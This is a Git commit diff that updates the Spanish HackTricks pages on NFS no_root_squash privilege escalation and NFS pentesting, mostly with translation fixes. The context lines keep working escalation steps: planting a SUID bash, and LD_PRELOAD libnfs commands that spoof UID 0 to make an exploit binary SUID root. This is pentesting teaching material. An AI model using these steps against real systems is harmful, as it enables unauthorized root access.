mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/linux-hardening/privilege-escalation/nfs-no_root_squash
This commit is contained in:
parent
8623fda52d
commit
81044b6cee
@ -8,12 +8,12 @@ NFS generalmente (especialmente en Linux) confía en el `uid` y `gid` indicados
|
||||
- **`root_squash`/`no_all_squash`**: Este es el valor predeterminado en Linux y **solo aplana el acceso con uid 0 (root)**. Por lo tanto, cualquier `UID` y `GID` son confiables, pero `0` se aplana a `nobody` (por lo que no es posible la suplantación de root).
|
||||
- **`no_root_squash`**: Esta configuración, si está habilitada, ni siquiera aplana al usuario root. Esto significa que si montas un directorio con esta configuración, puedes acceder a él como root.
|
||||
|
||||
En el archivo **/etc/exports**, si encuentras algún directorio que esté configurado como **no_root_squash**, entonces puedes **acceder** a él desde **como cliente** y **escribir dentro** de ese directorio **como** si fueras el **root** local de la máquina.
|
||||
En el archivo **/etc/exports**, si encuentras algún directorio que esté configurado como **no_root_squash**, entonces puedes **acceder** a él **como cliente** y **escribir dentro** de ese directorio **como** si fueras el **root** local de la máquina.
|
||||
|
||||
Para más información sobre **NFS**, consulta:
|
||||
|
||||
{{#ref}}
|
||||
/network-services-pentesting/nfs-service-pentesting.md
|
||||
../../network-services-pentesting/nfs-service-pentesting.md
|
||||
{{#endref}}
|
||||
|
||||
# Escalación de Privilegios
|
||||
@ -21,7 +21,7 @@ Para más información sobre **NFS**, consulta:
|
||||
## Explotación Remota
|
||||
|
||||
Opción 1 usando bash:
|
||||
- **Montar ese directorio** en una máquina cliente, y **como root copiar** dentro de la carpeta montada el binario **/bin/bash** y darle derechos **SUID**, y **ejecutar desde la máquina víctima** ese binario bash.
|
||||
- **Montando ese directorio** en una máquina cliente, y **como root copiando** dentro de la carpeta montada el binario **/bin/bash** y dándole derechos **SUID**, y **ejecutando desde la máquina víctima** ese binario bash.
|
||||
- Ten en cuenta que para ser root dentro del recurso compartido NFS, **`no_root_squash`** debe estar configurado en el servidor.
|
||||
- Sin embargo, si no está habilitado, podrías escalar a otro usuario copiando el binario al recurso compartido NFS y dándole el permiso SUID como el usuario al que deseas escalar.
|
||||
```bash
|
||||
@ -75,7 +75,7 @@ gcc -fPIC -shared -o ld_nfs.so examples/ld_nfs.c -ldl -lnfs -I./include/ -L./lib
|
||||
```
|
||||
### Realizando el Explotación
|
||||
|
||||
La explotación implica crear un programa simple en C (`pwn.c`) que eleva los privilegios a root y luego ejecuta un shell. El programa se compila y el binario resultante (`a.out`) se coloca en el recurso compartido con suid root, utilizando `ld_nfs.so` para falsificar el uid en las llamadas RPC:
|
||||
La explotación implica crear un programa C simple (`pwn.c`) que eleva privilegios a root y luego ejecuta un shell. El programa se compila y el binario resultante (`a.out`) se coloca en el recurso compartido con suid root, utilizando `ld_nfs.so` para falsificar el uid en las llamadas RPC:
|
||||
|
||||
1. **Compilar el código de explotación:**
|
||||
```bash
|
||||
@ -90,14 +90,14 @@ LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chown root: nfs
|
||||
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod o+rx nfs://nfs-server/nfs_root/a.out
|
||||
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod u+s nfs://nfs-server/nfs_root/a.out
|
||||
```
|
||||
3. **Ejecuta el exploit para obtener privilegios de root:**
|
||||
3. **Ejecutar el exploit para obtener privilegios de root:**
|
||||
```bash
|
||||
/mnt/share/a.out
|
||||
#root
|
||||
```
|
||||
## Bonus: NFShell para Acceso a Archivos Sigiloso
|
||||
|
||||
Una vez que se obtiene acceso root, para interactuar con el recurso compartido NFS sin cambiar la propiedad (para evitar dejar rastros), se utiliza un script de Python (nfsh.py). Este script ajusta el uid para que coincida con el del archivo que se está accediendo, lo que permite interactuar con archivos en el recurso compartido sin problemas de permisos:
|
||||
Una vez que se obtiene acceso root, para interactuar con el recurso compartido de NFS sin cambiar la propiedad (para evitar dejar rastros), se utiliza un script de Python (nfsh.py). Este script ajusta el uid para que coincida con el del archivo que se está accediendo, lo que permite interactuar con archivos en el recurso compartido sin problemas de permisos:
|
||||
```python
|
||||
#!/usr/bin/env python
|
||||
# script from https://www.errno.fr/nfs_privesc.html
|
||||
|
@ -12,15 +12,15 @@
|
||||
```
|
||||
### Autenticación
|
||||
|
||||
Un aspecto notable de este protocolo es su habitual falta de mecanismos de **autenticación** o **autorización** integrados. En cambio, la autorización se basa en la **información del sistema de archivos**, con el servidor encargado de traducir con precisión la **información del usuario proporcionada por el cliente** al **formato de autorización** requerido por el sistema de archivos, siguiendo principalmente la **sintaxis de UNIX**.
|
||||
Un aspecto notable de este protocolo es su habitual falta de mecanismos de **autenticación** o **autorización** integrados. En su lugar, la autorización se basa en la **información del sistema de archivos**, con el servidor encargado de traducir con precisión la **información del usuario proporcionada por el cliente** al **formato de autorización** requerido por el sistema de archivos, siguiendo principalmente la **sintaxis de UNIX**.
|
||||
|
||||
La autenticación comúnmente se basa en **identificadores `UID`/`GID` de UNIX y membresías de grupo**. Sin embargo, surge un desafío debido a la posible discrepancia en los **mapeos `UID`/`GID`** entre clientes y servidores, dejando sin espacio para una verificación adicional por parte del servidor. Además, estos detalles son enviados por el cliente y son confiables por el servidor, por lo que un cliente malintencionado podría potencialmente **suplantar a otro usuario enviando `uid` y `gid` más privilegiados**.
|
||||
La autenticación comúnmente se basa en **identificadores `UID`/`GID` de UNIX y membresías de grupo**. Sin embargo, surge un desafío debido a la posible discrepancia en los **mapeos de `UID`/`GID`** entre clientes y servidores, dejando sin espacio para una verificación adicional por parte del servidor. Además, estos detalles son enviados por el cliente y son confiables por el servidor, por lo que un cliente malintencionado podría potencialmente **suplantar a otro usuario enviando `uid` y `gid` más privilegiados**.
|
||||
|
||||
**Sin embargo, ten en cuenta que por defecto no es posible suplantar el `UID` 0 (root) usando NFS. Más sobre esto en la sección de squashing.**
|
||||
**Sin embargo, tenga en cuenta que por defecto no es posible suplantar el `UID` 0 (root) usando NFS. Más sobre esto en la sección de squashing.**
|
||||
|
||||
#### Hosts
|
||||
|
||||
Para una mejor (o alguna) autorización, puedes especificar los **hosts** que pueden acceder al recurso compartido de NFS. Esto se puede hacer en el archivo `/etc/exports` de Linux. Por ejemplo:
|
||||
Para una mejor (o alguna) autorización, puede especificar los **hosts** que pueden acceder al recurso compartido de NFS. Esto se puede hacer en el archivo `/etc/exports` de Linux. Por ejemplo:
|
||||
```
|
||||
/PATH/TO/EXPORT CLIENT1(OPTIONS1) CLIENT2(OPTIONS2) ...
|
||||
/media/disk/share 192.168.2.123(rw,sec=krb5p:krb5i)
|
||||
@ -57,7 +57,7 @@ En Linux, la **función `subtree_check` está deshabilitada** por defecto.
|
||||
### Showmount
|
||||
|
||||
Esto se puede usar para **obtener información de un servidor NFSv3**, como la lista de **exportaciones**, quién está **autorizado a acceder** a estas exportaciones y qué clientes están conectados (lo cual puede ser inexacto si un cliente se desconecta sin informar al servidor).
|
||||
En **NFSv4, los clientes acceden directamente al / export** y tratan de acceder a las exportaciones desde allí, fallando si es inválido o no autorizado por cualquier razón.
|
||||
En **NFSv4, los clientes acceden directamente al / export** y tratan de acceder a las exportaciones desde allí, fallando si es inválido o no autorizado por cualquier motivo.
|
||||
|
||||
Si herramientas como `showmount` o módulos de Metasploit no muestran información de un puerto NFS, es potencialmente un servidor NFSv4 que no soporta la versión 3.
|
||||
```bash
|
||||
@ -108,7 +108,7 @@ Por supuesto, el único problema aquí es que por defecto no es posible suplanta
|
||||
Consulta la página:
|
||||
|
||||
{{#ref}}
|
||||
/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md
|
||||
../linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md
|
||||
{{#endref}}
|
||||
|
||||
### Escapando de las exportaciones
|
||||
|
Loading…
x
Reference in New Issue
Block a user